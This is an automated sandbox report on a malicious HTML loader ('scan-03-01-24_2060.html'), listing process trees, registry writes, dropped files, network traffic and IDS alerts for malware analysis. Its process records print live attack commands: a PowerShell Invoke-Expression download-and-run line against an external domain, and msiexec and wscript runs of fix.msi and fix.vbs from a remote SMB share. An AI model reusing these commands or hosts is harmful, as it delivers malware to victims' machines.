File name:

scan-03-01-24_2060.html

Full analysis: https://app.any.run/tasks/f4fce283-1fb0-44a9-ad40-38b16f5ff32a
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: March 01, 2024, 18:13:20
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
payload
loader
Indicators:
MIME: text/html
File info: HTML document, Unicode text, UTF-8 text, with very long lines (5197), with no line terminators
MD5:

8F445A30C1239D689967C0D9EF3D4AE3

SHA1:

6875C00DBA403C5E774CE82D2055FF8B07DC7EEB

SHA256:

C671675194BCBFF1275BEEFBC0A796505FEDAC9CC3DAF5B2B0B9A3BB7E3CCAE7

SSDEEP:

96:Tm6Fx2yrCObAhRia+MErZMH4G1iG0+Botg5fUGxu8rZTiu0s4:6uoyrbXrY1iGhauu8dTiBx

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • powershell.exe (PID: 2168)

  • SUSPICIOUS

    • Uses pipe srvsvc via SMB (transferring data)

      • iexplore.exe (PID: 2408)
      • explorer.exe (PID: 1164)
      • msiexec.exe (PID: 2488)
      • msiexec.exe (PID: 3492)
      • msiexec.exe (PID: 1768)
      • wscript.exe (PID: 2064)
      • iexplore.exe (PID: 2160)

    • SMB connection has been detected (probably for file transfer)

      • explorer.exe (PID: 1164)

    • Executes as Windows Service

      • VSSVC.exe (PID: 2888)

    • Reads the Internet Settings

      • msiexec.exe (PID: 3364)
      • wscript.exe (PID: 2064)
      • msiexec.exe (PID: 1384)
      • powershell.exe (PID: 2168)

    • The process executes VB scripts

      • explorer.exe (PID: 1164)

    • The process downloads a VBScript from the remote host

      • explorer.exe (PID: 1164)

    • Request a resource from the Internet using PowerShell's cmdlet

      • wscript.exe (PID: 2064)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2064)

    • Unusual connection from system programs

      • powershell.exe (PID: 2168)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2168)

    • Possibly malicious use of IEX has been detected

      • wscript.exe (PID: 2064)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 2064)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 2168)

  • INFO

    • Application launched itself

      • iexplore.exe (PID: 3664)
      • iexplore.exe (PID: 2160)

    • Reads security settings of Internet Explorer

      • explorer.exe (PID: 1164)
      • msiexec.exe (PID: 2488)
      • msiexec.exe (PID: 3492)
      • msiexec.exe (PID: 1768)
      • msiexec.exe (PID: 3364)
      • msiexec.exe (PID: 1384)

    • Reads settings of System Certificates

      • explorer.exe (PID: 1164)

    • Reads the software policy settings

      • explorer.exe (PID: 1164)
      • msiexec.exe (PID: 2488)
      • msiexec.exe (PID: 3492)
      • msiexec.exe (PID: 1384)
      • msiexec.exe (PID: 1768)
      • msiexec.exe (PID: 3364)

    • Reads the Internet Settings

      • explorer.exe (PID: 1164)

    • Creates files or folders in the user directory

      • explorer.exe (PID: 1164)
      • msiexec.exe (PID: 1384)

    • Create files in a temporary directory

      • msiexec.exe (PID: 2488)
      • msiexec.exe (PID: 3492)
      • msiexec.exe (PID: 1768)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 2488)
      • msiexec.exe (PID: 3492)
      • msiexec.exe (PID: 1768)

    • Checks proxy server information

      • msiexec.exe (PID: 1384)
      • msiexec.exe (PID: 3364)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.html | HyperText Markup Language (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
69
Monitored processes
12
Malicious processes
3
Suspicious processes
2

Behavior graph

Click at the process to see the details
start iexplore.exe iexplore.exe iexplore.exe no specs explorer.exe msiexec.exe vssvc.exe no specs msiexec.exe msiexec.exe msiexec.exe msiexec.exe wscript.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
1164C:\Windows\Explorer.EXEC:\Windows\explorer.exe
—
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
1384"C:\Windows\SysWOW64\msiexec.exe" -z "C:\Users\admin\Favorites\Crystallised\Inkpad3.dll"C:\Windows\System32\msiexec.exe
MSI3DE4.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
3221225477
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1768"C:\Windows\System32\msiexec.exe" /i "\\94.158.245.124\share\fix.msi" C:\Windows\System32\msiexec.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2064"C:\Windows\System32\WScript.exe" "\\94.158.245.124\share\fix.vbs" C:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2160"C:\Program Files\Internet Explorer\iexplore.exe" "C:\scan-03-01-24_2060.html"C:\Program Files\Internet Explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
2168"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'porsherses.com/miipnznj')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2408"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2160 CREDAT:333057 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exe—iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
2488"C:\Windows\System32\msiexec.exe" /i "\\94.158.245.124\share\fix.msi" C:\Windows\System32\msiexec.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2888C:\Windows\system32\vssvc.exeC:\Windows\System32\VSSVC.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\vssvc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3364"C:\Windows\SysWOW64\msiexec.exe" -z "C:\Users\admin\Favorites\Crystallised\Inkpad3.dll"C:\Windows\System32\msiexec.exe
MSI86D6.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
3221225477
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
62 915
Read events
61 867
Write events
937
Delete events
111

Modification events

(PID) Process:(1164) explorer.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Action Center\Checks\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0
Operation:writeName:CheckSetting
Value:
01000000D08C9DDF0115D1118C7A00C04FC297EB01000000DBDD10622BD67741A42163F361389C47000000000200000000001066000000010000200000009332D52EACC8F84D4A21FBC2894567D08A1C2EF28BB819C155A6C4D6A5C9E4BC000000000E8000000002000020000000054D8F55F0A3E10398243FCCB5F59F6A8919C4C9BBDA640582F6E591A079A15A30000000649E4BE8475E5EAD07A5D9D7E6D7992E173031303BAAE1D334A4D71AE875E91AEF9CEF1197038BD22BE36D34CEACE16940000000443C1586D96FF8740C6C55DEA8D5DA333EA821737876388D59FAFF1400BA361BC09C7B82F946C1530DBE4011A877AA00FCA48F770540535CDA75D59D063CAABB
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing
Operation:writeName:NTPDaysSinceLastAutoMigration
Value:
1
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing
Operation:writeName:NTPLastLaunchLowDateTime
Value:
706440064
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing
Operation:writeName:NTPLastLaunchHighDateTime
Value:
31091716
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager
Operation:writeName:NextCheckForUpdateLowDateTime
Value:
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager
Operation:writeName:NextCheckForUpdateHighDateTime
Value:
31091716
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Operation:writeName:CompatibilityFlags
Value:
0
Executable files
4
Suspicious files
28
Text files
17
Unknown types
15

Dropped files

PID
Process
Filename
Type
3664iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157binary
MD5:2BE8784762A4176DE7539AB602B75B58
SHA256:2AB1CC8D51AAC11B81BD87E025A9353AA44B1E9985A80E43E0628E5971980A48
3664iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_ADE4E4D3A3BCBCA5C39C54D362D88565binary
MD5:27FD3B34370035EF6FA07D29E2D8A0F4
SHA256:E5A6DBB413CB2515413F9FE4448B64D4F042194C143D0885DD0B485CB9709135
3664iexplore.exeC:\Users\admin\AppData\Local\Temp\CabF733.tmpcompressed
MD5:753DF6889FD7410A2E9FE333DA83A429
SHA256:B42DC237E44CBC9A43400E7D3F9CBD406DBDEFD62BFE87328F8663897D69DF78
3664iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711Ebinary
MD5:3E5711C6644BBDD2E827E6EFE70256E5
SHA256:B8AD326EE45593028E15C833559B48D92A1C2354F1CE744B1B86905499D3BE68
3664iexplore.exeC:\Users\admin\AppData\Local\Temp\CabF712.tmpcompressed
MD5:753DF6889FD7410A2E9FE333DA83A429
SHA256:B42DC237E44CBC9A43400E7D3F9CBD406DBDEFD62BFE87328F8663897D69DF78
2408iexplore.exe\Device\Mup:\94.158.245.124\PIPE\srvsvc —
MD5:—
SHA256:—
3664iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_ADE4E4D3A3BCBCA5C39C54D362D88565der
MD5:9225C7560F31329B0FB7052775172B5A
SHA256:D3AE7EEF1D7EFFDF4663AA4E3D275EADD9A04A96DAF1F8067EB922FDA1F67AA7
3664iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711Eder
MD5:E3AA453A55638BCECC11958B116DC597
SHA256:41F0A1B15DD35C2D25442B17BF16602CDADDBEA176765B01E8633B20C7EDD544
3664iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850Dder
MD5:9BEF185873AA6BA06147E57361248FA6
SHA256:B08D3AE10FD689F52981F05F332F3FD1BCBC401D3FF73EE8235193694314E933
3664iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\Microsoft_Word_2013-2019_logo.svg[1].pngimage
MD5:2196EFB4E7AF10FD12DCA1429FAC2AB0
SHA256:58BEEFCCDBE5350F5D7064F8E8FAE738843492C287AFAE8B6EB74094DF17F3F1
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
26
TCP/UDP connections
49
DNS requests
45
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3664
iexplore.exe
GET
304
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?1c38e09e3428bf6c
unknown
—
—
unknown
3664
iexplore.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?5157d766895871a4
unknown
compressed
67.5 Kb
unknown
3664
iexplore.exe
GET
200
104.18.38.233:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEH1bUSa0droR23QWC7xTDac%3D
unknown
binary
2.18 Kb
unknown
3664
iexplore.exe
GET
304
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?86b4b67e50f1d6bf
unknown
—
—
unknown
3664
iexplore.exe
GET
304
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?166bb1b05aeb636c
unknown
—
—
unknown
3664
iexplore.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
binary
471 b
unknown
2160
iexplore.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D
unknown
binary
312 b
unknown
2588
msiexec.exe
GET
200
69.192.161.44:80
http://r3.i.lencr.org/
unknown
binary
1.28 Kb
unknown
2588
msiexec.exe
GET
200
184.24.77.56:80
http://r3.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRI2smg%2ByvTLU%2Fw3mjS9We3NfmzxAQUFC6zF7dYVsuuUAlA5h%2BvnYsUwsYCEgSwAGxlgiRWzksMi0oAQJ31gg%3D%3D
unknown
binary
503 b
unknown
2160
iexplore.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ%3D
unknown
binary
471 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
3664
iexplore.exe
151.101.194.137:443
code.jquery.com
FASTLY
US
unknown
3664
iexplore.exe
185.15.59.240:443
upload.wikimedia.org
WIKIMEDIA
US
unknown
3664
iexplore.exe
104.21.235.70:443
iili.io
CLOUDFLARENET
—
unknown
3664
iexplore.exe
93.184.221.240:80
ctldl.windowsupdate.com
EDGECAST
GB
whitelisted
3664
iexplore.exe
104.18.38.233:80
ocsp.comodoca.com
CLOUDFLARENET
—
shared
3664
iexplore.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
3664
iexplore.exe
69.192.161.44:80
x1.c.lencr.org
AKAMAI-AS
DE
unknown

DNS requests

Domain
IP
Reputation
upload.wikimedia.org
  • 185.15.59.240
whitelisted
code.jquery.com
  • 151.101.194.137
  • 151.101.130.137
  • 151.101.2.137
  • 151.101.66.137
whitelisted
iili.io
  • 104.21.235.70
  • 104.21.235.69
unknown
ctldl.windowsupdate.com
  • 93.184.221.240
whitelisted
ocsp.comodoca.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
ocsp.usertrust.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
x1.c.lencr.org
  • 69.192.161.44
whitelisted
x2.c.lencr.org
  • 69.192.161.44
whitelisted
api.bing.com
  • 13.107.5.80
whitelisted

Threats

PID
Process
Class
Message
3664
iexplore.exe
Not Suspicious Traffic
INFO [ANY.RUN] jQuery JavaScript Library Code Loaded (code.jquery .com)
4
System
Potential Corporate Privacy Violation
POLICY [ANY.RUN] Attempt to connect to an external SMB server
—
—
Potential Corporate Privacy Violation
POLICY [ANY.RUN] NTLM Over SMB (NTLMSSP_NEGOTIATE)
—
—
Potential Corporate Privacy Violation
POLICY [ANY.RUN] NTLM Over SMB (NTLMSSP_NEGOTIATE)
2588
msiexec.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 21
1384
msiexec.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 21
2168
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
2168
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
2168
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2168
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
scan-03-01-24_2060.html